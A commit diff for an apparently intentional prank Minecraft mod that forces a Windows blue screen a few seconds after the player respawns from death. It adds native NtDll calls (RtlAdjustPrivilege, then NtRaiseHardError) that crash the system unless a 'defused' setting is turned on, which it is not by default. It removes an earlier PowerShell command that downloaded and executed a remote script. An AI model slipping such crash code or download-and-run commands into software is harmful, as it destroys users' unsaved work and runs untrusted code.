Add config & direct native api usage

src/main/java/com/cosmiiko/bsodod/BSODOnDeath.java

@@ -1,32 +1,37 @@
 package com.cosmiiko.bsodod;
 
-
+import com.sun.jna.Memory;
 import net.minecraft.client.Minecraft;
 import net.minecraft.client.entity.player.ClientPlayerEntity;
 import net.minecraftforge.api.distmarker.Dist;
 import net.minecraftforge.api.distmarker.OnlyIn;
 import net.minecraftforge.common.MinecraftForge;
 import net.minecraftforge.event.TickEvent;
 import net.minecraftforge.eventbus.api.SubscribeEvent;
+import net.minecraftforge.fml.ModLoadingContext;
 import net.minecraftforge.fml.common.Mod;
+import net.minecraftforge.fml.config.ModConfig;
 import net.minecraftforge.fml.event.lifecycle.FMLCommonSetupEvent;
 import net.minecraftforge.fml.javafmlmod.FMLJavaModLoadingContext;
 import org.apache.logging.log4j.LogManager;
 import org.apache.logging.log4j.Logger;
 
+import java.io.File;
 import java.io.IOException;
-import java.util.UUID;
 
 @Mod("bsodod")
 public class BSODOnDeath
 {
     private static final Logger LOGGER = LogManager.getLogger();
     private boolean hasDied = false;
+    private boolean timerStarted = false;
 
     public BSODOnDeath() {
         FMLJavaModLoadingContext.get().getModEventBus().addListener(this::setup);
 
         MinecraftForge.EVENT_BUS.register(this);
+
+        ModLoadingContext.get().registerConfig(ModConfig.Type.CLIENT, Config.CLIENT_SPEC);
     }
 
     private void setup(final FMLCommonSetupEvent event)
@@ -52,8 +57,14 @@ public void onPlayerTick(TickEvent.PlayerTickEvent event)
 
         // Player has respawned
         if (ply.getHealth() > 0.0F && hasDied)
+        {
             hasDied = false;
 
+            // Start the timer of the blue screen
+            timerStarted = true;
+        }
+
+
         if (ply.getHealth() == 0.0F && !hasDied)
         {
             hasDied = true;
@@ -74,22 +85,48 @@ public void onPlayerTick(TickEvent.PlayerTickEvent event)
                 // Desktop doesn't work, throws a HeadlessException for some reason
                 // See https://stackoverflow.com/questions/5226212/how-to-open-the-default-webbrowser-using-java for this hack
 
-                String url = "https://www.youtube.com/watch?v=dQw4w9WgXcQ";
-                Runtime.getRuntime().exec("rundll32 url.dll,FileProtocolHandler " + url);
+                Runtime.getRuntime().exec("rundll32 url.dll,FileProtocolHandler " + Config.openUrl);
             }
             catch (IOException e)
             {
                 LOGGER.error("Error during Rick Roll attempt: ", e);
             }
+        }
+    }
 
-            try {
-                // Runs this (https://github.com/peewpw/Invoke-BSOD) BSOD powershell script by peewpw
-                Runtime.getRuntime().exec("powershell -Command IEX((New-Object Net.Webclient).DownloadString('https://raw.githubusercontent.com/peewpw/Invoke-BSOD/master/Invoke-BSOD.ps1'));Invoke-BSOD");
+    private int tickCounter = 0;
+
+    @SubscribeEvent
+    public void onClientTickEvent(TickEvent.ClientTickEvent event)
+    {
+        if (timerStarted)
+        {
+            if (tickCounter % 40 == 0)
+            {
+                LOGGER.info("BSOD in " + (Config.delayInSecs - tickCounter/40) + " secs");
             }
-            catch (IOException e)
+
+            if (tickCounter == Config.delayInSecs*40)
             {
-                LOGGER.error("Error during BSOD attempt: ", e);
+                // Enable the shutdown privilege
+                NtDll.INSTANCE.RtlAdjustPrivilege(19, true, false, new Memory(1));
+
+                if (Config.defused)
+                {
+                    LOGGER.info("You would have gotten a blue screen here but the mod is defused.");
+                }
+                else
+                {
+                    // Raise an error and shutdown because of it
+                    NtDll.INSTANCE.NtRaiseHardError(0xDEADDEAD, 0, 0, 0, 6, new Memory(32));
+                }
+
+                timerStarted = false;
+                tickCounter = 0;
+                return;
             }
+
+            tickCounter++;
         }
     }
 }

src/main/java/com/cosmiiko/bsodod/Config.java

@@ -0,0 +1,57 @@
+package com.cosmiiko.bsodod;
+
+import net.minecraftforge.common.ForgeConfigSpec;
+import net.minecraftforge.eventbus.api.SubscribeEvent;
+import net.minecraftforge.fml.common.Mod;
+import net.minecraftforge.fml.config.ModConfig;
+import org.apache.commons.lang3.tuple.Pair;
+
+// Thank god for https://cadiboo.github.io/tutorials/1.15.1/forge/3.3-config/ and screw Forge's docs
+@Mod.EventBusSubscriber(modid = "bsodod", bus = Mod.EventBusSubscriber.Bus.MOD)
+public class Config {
+    public static final ClientConfig CLIENT;
+    public static final ForgeConfigSpec CLIENT_SPEC;
+
+    static {
+        final Pair<ClientConfig, ForgeConfigSpec> specPair = new ForgeConfigSpec.Builder().configure(ClientConfig::new);
+        CLIENT_SPEC = specPair.getRight();
+        CLIENT = specPair.getLeft();
+    }
+
+    public static class ClientConfig {
+        public final ForgeConfigSpec.ConfigValue<String> openUrl;
+        public final ForgeConfigSpec.ConfigValue<Integer> delayInSecs;
+        public final ForgeConfigSpec.ConfigValue<Boolean> defused;
+
+        public ClientConfig(ForgeConfigSpec.Builder builder) {
+            openUrl = builder
+                    .comment("URL Opened before the bluescreen. Set to 'none' to disable.")
+                    .define("openUrl", "https://www.youtube.com/watch?v=dQw4w9WgXcQ");
+
+            delayInSecs = builder
+                    .comment("Delay in seconds before the blue screen.")
+                    .define("delayInSecs", 5);
+
+            defused = builder
+                    .comment("Whether or not the mod is defused. If true, you will not blue screen.")
+                    .define("defused", false);
+        }
+    }
+
+    @SubscribeEvent
+    public static void onModConfigEvent(final ModConfig.ModConfigEvent configEvent) {
+        if (configEvent.getConfig().getSpec() == Config.CLIENT_SPEC) {
+            Config.bakeConfig();
+        }
+    }
+
+    public static String openUrl;
+    public static Integer delayInSecs;
+    public static Boolean defused;
+
+    public static void bakeConfig() {
+        openUrl = CLIENT.openUrl.get();
+        delayInSecs = CLIENT.delayInSecs.get();
+        defused = CLIENT.defused.get();
+    }
+}

src/main/java/com/cosmiiko/bsodod/NtDll.java

@@ -0,0 +1,16 @@
+package com.cosmiiko.bsodod;
+
+import com.sun.jna.Native;
+import com.sun.jna.Pointer;
+import com.sun.jna.win32.StdCallLibrary;
+import com.sun.jna.win32.W32APIOptions;
+
+public interface NtDll extends StdCallLibrary {
+    NtDll INSTANCE = Native.loadLibrary("NtDll", NtDll.class, W32APIOptions.DEFAULT_OPTIONS);
+
+    // See http://www.pinvoke.net/default.aspx/ntdll.RtlAdjustPrivilege
+    public long RtlAdjustPrivilege(long Privilege, boolean bEnablePrivilege, boolean IsThreadPrivilege, Pointer PreviousValue);
+
+    // See http://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FError%2FNtRaiseHardError.html
+    public long NtRaiseHardError(long ErrorStatus, long NumberOfParameters, long UnicodeStringParameterMask, int Parameters, long ValidResponseOption, Pointer Response);
+}